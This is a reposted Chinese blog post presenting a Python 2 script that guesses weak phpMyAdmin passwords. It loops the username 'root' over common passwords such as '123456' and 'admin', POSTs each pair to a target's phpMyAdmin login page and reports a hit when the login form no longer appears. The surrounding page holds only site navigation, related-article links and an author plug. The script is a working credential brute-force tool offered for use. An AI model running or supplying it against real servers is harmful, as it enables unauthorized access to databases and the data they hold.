zoukankan      html  css  js  c++  java
  • PHPMyAdmin弱口令猜解【Python脚本】

    PHPMyAdmin弱口令猜解

    测试截图: 

    代码片段

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import requests
    import time
    
    username_list=['root']
    password_list=['root','','admin','123456','password']
    
    def phpMyAdmin(ip,port=80):
    	for username in username_list:
    		username =username.rstrip()
    		for password in password_list:
    			password = password.rstrip()
    			try:
    				#url = "http://192.168.106.141/phpmyadmin/index.php"
    				url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"
    
    				data={'pma_username':username,'pma_password':password}
    				response = requests.post(url,data=data,timeout=5)
    				result=response.content
    				if result.find('name="login_form"')==-1:
    					print '===================================================='
    					print '[+] find phpMyAdmin weak password:'+username,password
    					print '===================================================='
    					break
    				else:
    					print '[-] Checking for '+username,password+" fail"
    			except:
    				print '[-] Something Error'+username,password+" fail"
    				
    if __name__ == '__main__':
    	phpMyAdmin("192.168.106.141")
    

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

      

  • 相关阅读:
    linux 安装 Chrome
    J2EE版本
    Java 源码解析之局部变量检查
    /etc/xinetd.conf 和 /etc/xinetd.d/*【新网络服务配置】
    Linux 内核编译
    linux 汇编
    /etc/ethers【地址映射】
    Linux LAMP 搭建
    Linux ftp 使用
    linux apache
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6140333.html
Copyright © 2011-2022 走看看